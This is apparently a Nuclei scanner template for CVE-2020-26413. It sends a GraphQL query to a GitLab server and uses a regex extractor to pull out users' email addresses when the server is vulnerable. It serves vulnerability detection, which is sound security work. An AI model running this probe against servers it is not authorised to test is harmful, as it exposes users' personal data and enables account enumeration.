id: CVE-2020-26413

info:
  name: Gitlab User enumeration via Graphql API CVE-2020-26413
  author: _0xf4n9x_,pikpikcu
  severity: medium
  description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
    - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26413
  tags: exposure,cve,cve2020,gitlab,enumeration

requests:
  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Content-Length: 265

        {
                    "query": "{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }",
                    "variables": null,
                    "operationName": null
                }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "username"
          - "avatarUrl"
        condition: and

      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - 'email":"([a-z@.]+)"'

    extractors:
      - type: regex
        part: body
        regex:
          - '"email":"([a-z@.]+)"'